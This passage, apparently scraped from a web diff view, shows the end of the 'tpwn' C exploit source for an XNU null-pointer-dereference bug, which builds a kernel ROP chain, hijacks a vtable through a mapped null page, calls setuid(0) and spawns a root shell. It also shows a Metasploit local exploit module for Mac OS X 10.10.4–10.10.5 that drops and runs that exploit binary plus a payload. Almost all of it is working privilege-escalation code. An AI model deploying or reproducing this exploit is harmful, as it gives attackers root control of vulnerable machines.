PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
|
||||
PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock");
|
||||
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
|
||||
PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;
|
||||
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
|
||||
PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv");
|
||||
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
|
||||
PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;
|
||||
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
|
||||
PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n")
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog");
|
||||
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");
|
||||
|
||||
uint64_t* vtable=malloc(0x1000);
|
||||
|
||||
vtable[0] = 0;
|
||||
vtable[1] = 0;
|
||||
vtable[2] = 0;
|
||||
vtable[3] = ROP_POP_RAX(mapping_kernel);
|
||||
vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
|
||||
vtable[5] = ROP_POP_RAX(mapping_kernel);
|
||||
vtable[6] = 0;
|
||||
vtable[7] = ROP_POP_RSP(mapping_kernel);
|
||||
vtable[8] = (uint64_t)stack->__rop_chain;
|
||||
|
||||
or_everywhere(heap_info[1].kobject+0x220); // set online
|
||||
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
|
||||
alloc(0, 0x1000);
|
||||
volatile uint64_t* mp = (uint64_t*) 0x10;
|
||||
mp[0] = (uint64_t)0;
|
||||
mp[1] = (uint64_t)vtable;
|
||||
mp[2] = (uint64_t)&mp[1];
|
||||
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
setuid(0);
|
||||
if (getuid() == 0) {
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
puts("didn't get root, but this system is vulnerable. ");
|
||||
puts("kernel heap may be corrupted");
|
||||
return 1;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X "tpwn" Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a null pointer dereference in XNU to escalate
|
||||
privileges to root.
|
||||
|
||||
Tested on 10.10.4 and 10.10.5.
|
||||
},
|
||||
'Author' => [
|
||||
'qwertyoruiop', # Vulnerability discovery and PoC
|
||||
'wvu' # Copy/paste monkey
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/kpwn/tpwn']
|
||||
],
|
||||
'DisclosureDate' => 'Aug 16 2015',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'SessionTypes' => ['shell'],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Mac OS X 10.10.4-10.10.5', {}]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Writing exploit to `#{exploit_file}'")
|
||||
write_file(exploit_file, binary_exploit)
|
||||
register_file_for_cleanup(exploit_file)
|
||||
|
||||
print_status("Writing payload to `#{payload_file}'")
|
||||
write_file(payload_file, binary_payload)
|
||||
register_file_for_cleanup(payload_file)
|
||||
|
||||
print_status('Executing exploit...')
|
||||
cmd_exec(sploit)
|
||||
print_status('Executing payload...')
|
||||
cmd_exec(payload_file)
|
||||
end
|
||||
|
||||
def ver?
|
||||
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
|
||||
Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5')
|
||||
)
|
||||
end
|
||||
|
||||
def sploit
|
||||
"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
|
||||
end
|
||||
|
||||
def binary_exploit
|
||||
File.read(File.join(
|
||||
Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
|
||||
))
|
||||
end
|
||||
|
||||
def binary_payload
|
||||
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
||||
end
|
||||
|
||||
def exploit_file
|
||||
@exploit_file ||=
|
||||
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
||||
end
|
||||
|
||||
def payload_file
|
||||
@payload_file ||=
|
||||
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue